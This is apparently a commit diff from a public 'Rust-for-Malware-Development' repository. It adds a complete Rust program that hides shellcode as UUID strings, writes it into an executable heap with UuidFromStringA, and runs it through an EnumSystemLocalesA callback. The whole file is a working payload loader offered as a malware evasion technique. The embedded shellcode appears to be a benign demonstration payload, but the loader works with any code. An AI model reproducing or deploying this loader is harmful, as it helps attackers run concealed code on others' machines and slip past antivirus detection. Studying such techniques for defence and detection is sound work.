Upload

Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods

UUID_Shellcode_Execution/uuid_shellcode_execution/src/main.rs

@@ -0,0 +1,87 @@
+/*
+    UUID Shellcode Execution
+    @5mukx
+*/
+
+use std::{ffi::c_void, mem::transmute};
+
+use windows::{
+    Win32::Foundation::HANDLE,
+    Win32::{
+        Foundation::{CloseHandle, GetLastError},
+        Globalization::{EnumSystemLocalesA, LOCALE_ENUMPROCA},
+        System::{
+            Memory::{HEAP_CREATE_ENABLE_EXECUTE, HEAP_FLAGS, HeapAlloc, HeapCreate},
+            Rpc::{RPC_STATUS, UuidFromStringA},
+        },
+    },
+    core::{GUID, PCSTR, Result},
+};
+
+#[macro_export]
+macro_rules! s {
+    ($s:literal) => {
+        $crate::PCSTR::from_raw(::core::concat!($s, '\0').as_ptr())
+    };
+}
+
+fn main() -> Result<()> {
+    let size = 96;
+    let codes = [
+        "685a606a-6163-636c-5459-4829d465488b",
+        "768b4832-4818-768b-1048-ad488b30488b",
+        "5703307e-8b3c-175c-288b-741f204801fe",
+        "241f548b-b70f-172c-8d52-02ad813c0757",
+        "75456e69-8bef-1f74-1c48-01fe8b34ae48",
+        "ff99f701-00d7-0000-0000-000000000000",
+    ];
+
+    unsafe {
+        let heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0)?;
+
+        if heap.is_invalid() {
+            println!("[-] HeapCreate Invalid");
+
+            return Err(GetLastError().into());
+        }
+
+        let heap_addr = HeapAlloc(heap, HEAP_FLAGS(0), size + 0x100);
+
+        if heap_addr.is_null() {
+            println!("[-] Heap Alloc Error !");
+
+            return Err(GetLastError().into());
+        }
+
+        let mut ptr_addr = heap_addr as usize;
+
+        for i in 0..codes.len() {
+            let null_c_str = format!("{}\0", codes[i]);
+            let cstr = PCSTR::from_raw(null_c_str.as_bytes().as_ptr());
+
+            let status = UuidFromStringA(cstr, ptr_addr as *mut GUID);
+
+            if status != RPC_STATUS(0) {
+                if status == RPC_STATUS(1705) {
+                    println!("[-] Invalid UUID String Detected at {:?}", cstr);
+                    std::process::exit(0x1);
+                } else {
+                    println!("[-] Something Went Wrong, Error Code: {:?}", status);
+                }
+            }
+
+            ptr_addr += 16;
+        }
+
+        println!(
+            "[+] Shellcode is successfully placed between {:x?} and {:x?}",
+            heap_addr, ptr_addr
+        );
+
+        EnumSystemLocalesA(transmute::<*mut c_void, LOCALE_ENUMPROCA>(heap_addr), 0)?;
+
+        CloseHandle(HANDLE(heap_addr))?;
+
+        Ok(())
+    }
+}